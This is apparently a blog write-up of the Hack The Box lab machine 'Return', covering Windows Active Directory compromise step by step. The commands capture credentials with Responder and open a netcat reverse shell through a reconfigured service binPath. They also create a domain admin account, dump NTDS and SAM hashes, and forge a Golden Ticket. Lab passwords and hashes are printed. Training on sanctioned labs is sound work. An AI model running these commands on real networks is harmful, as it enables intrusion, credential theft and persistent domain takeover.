HTB — Return
easy box from Active Directory Exploitation path goes brrrrrrr
Return is an easy difficulty Windows machine featuring a network printer administration panel that stores LDAP credentials. These credentials can be captured by inputting a malicious LDAP server which allows obtaining foothold on the server through the WinRM service. User found to be part of a privilege group which further exploited to gain system access.
As always, let’s check out some ports
nmap -Pn -n -sVC -p- $IP -vv
We identified that there is an open HTTP port, which appears to be a Printer Admin Panel, and that Kerberos/LDAP is open, which means that this is more than likely a Domain Controller.
Using Netexec, we determine that the device name is printerand that Null Authentication is allowed.
nxc smb $IP
For DNS resolution, add to /etc/hosts
echo "$IP PRINTER return.local PRINTER.return.local" | sudo tee -a /etc/hosts
Let’s check out the Printer Portal we observed in our earlier nmap scan, and we discover a settings tab. On the settings tab, we observe that we can change the values of the server address.
We need to get our local IP address and spin up Responder to capture the password in clear text. We identify the network interface that we will be using for Responder, which is tun0
ipconfig
sudo responder
Once we’ve identified our local IP address, spin up Responder to capture authentication traffic. We need to add our responder IP address(which should correspond with your local IP address) into the Server Addressform and attempt to authenticate using Update. This will capture the credentials in clear text.
We can now confirm that we LDAP credentials for the domain user return\svc-printer via Netexec
From here, we can start enumerating users, groups, and shares. We identify that svc-printerbelongs to groups Remote Management Users & Server Operators . Then I am able to enumerate share permissions, and it appears that I have Read/Write access to share C$ .
nxc ldap $IP -u 'svc-printer' -p '1edFg43012!!' --users
nxc ldap $IP -u 'svc-printer' -p '1edFg43012!!' --groups
nxc ldap $IP -u 'svc-printer' -p '1edFg43012!!' --groups "Remote Management Users"
nxc ldap $IP -u 'svc-printer' -p '1edFg43012!!' --groups "Server Operators"
nxc smb $IP -u 'svc-printer' -p '1edFg43012!!' --shares
We can now manually confirm our access to the C$share and start looking for any juicy information to exfiltrate. We find the user flag!
smbclient //$IP/C$ -U 'return\svc-printer%1edFg43012!!'
more users.txt
We observed earlier that we are part of Remote Management Users so that means we can use evil-winrm to get onto the device. Once we get onto the device, we check our privileges and see we do have some potential juicy privileges such as SeMachineAccount | SeLoadDriver | SeBackUp | SeRestore as well as confirming that we are in the Remote Management Users | Server Operators groups.
SeMachineAccountPrivilege = Allows adding workstations to the domain.
SeLoadDriverPrivilege = Allows administrators or specifically designated users to install and test new kernel-level device drivers without requiring a full system reboot.
SeBackUpPrivlege = Allows backup of the system files, such as SAM.
Get Need’s stories in your inbox
Join Medium for free to get updates from this writer.
SeRestorePrivilege = Can write files anywhere, overwrites files, protected system files — even those protected by Trusted Installer, registry entries, service configurations.
evil-winrm -i $IP -u 'svc-printer' -p '1edFg43012!!'
whoami /priv
net user svc-printer
We now need to find a way to conduct local privilege escalation (LPE). Evil-winrm has a built-in menu that can help a bit, and shows us our current services and what we have privileges to do. We observe that we have start/stop privileges over the service VMTools .
menu
services
sc.exe query VMTools
sc.exe stop VMTools #if running, it shouldn't be though
So now let’s upload netcat , start this service, and get a remote shell. First, find your nc.exe , upload it to the device.
locate nc.exe
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe . #. is current location
ls
upload nc.exe . #. is current location
dir
Configure the service, start the listener in a different tab, catch the reverse shell, and find the flag.
sc.exe config VMTools binPath="C:\Users\\svc-printer\documents\nc.exe -e cmd.exe $IP 1337"
nc -lvnp 1337
sc.exe start VMTools
cd C:\Users
cd Administrator
cd Desktop
dir
type root.txt
Persistence + Golden Ticket
We can create a new user, add the new user to the domain admins, and then dump NTDS.
sc.exe config VMTools binPath= "cmd.exe /c net user need P@ssw0rd! /add /domain"
Confirm we have created the user utilizing SMB/LDAP using Netexec
sc.exe config VMTools binPath= 'cmd.exe /c net group \"Domain Admins\" need /add /domain'
Confirm we have added the user to Domain Admins
Dump NTDS and gather your hashes
Let’s also dump NTDS via Volume Shadow Service (VSS)
nxc smb $IP -u 'need' -p 'P@ssw0rd!' --ntds vss
nxc ldap $IP -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:32db622ed9c00dd1039d8288b0407460' --get-sid
Extract and download NTDS offline with Evil-WinRm to get AES Keys using Impacket-WMIExec
evil-winrm -i 10.129.27.62 -u administrator -H 32db622ed9c00dd1039d8288b0407460
reg save HKLM\SYSTEM system
reg save HKLM\SAM sam
ntdsutil "ac i ntds" "ifm" "create full C:\Users\Administrator\Documents\dump" q q
download system
download sam
download 'C:\Users\Administrator\Documents\dump\Active Directory\ntds.dit'
Extract AES 256 keys
impacket-secretsdump -ntds ntds.dit -system system LOCAL | grep -i krbtgt
Forge Golden Ticket with AES256
impacket-ticketer -aesKey cc6ddaa28d2bb97926dabd1b82845479a97080aad93eddfd2ccf4f2ddf00961a \
-domain-sid S-1-5-21-3750359090-2939318659-876128439 \
-domain return.local \
-user-id 500 \
-groups 512,513,518,519,520 \
"Administrator"
export KRB5CCNAME=$(pwd)/Administrator.ccache
Use the ticket and escalate privileges to NT Authority\System
impacket-psexec -k -no-pass -dc-ip $IP return.local/Administrator@PRINTER.return.local
Sync your clock with the DC
sudo timedatectl set-timezone UTC
nmap --script smb2-time $IP
sudo date -s "$TIME"
date
Now let’s do this again
impacket-psexec -k -no-pass -dc-ip $IP return.local/Administrator@PRINTER.return.local
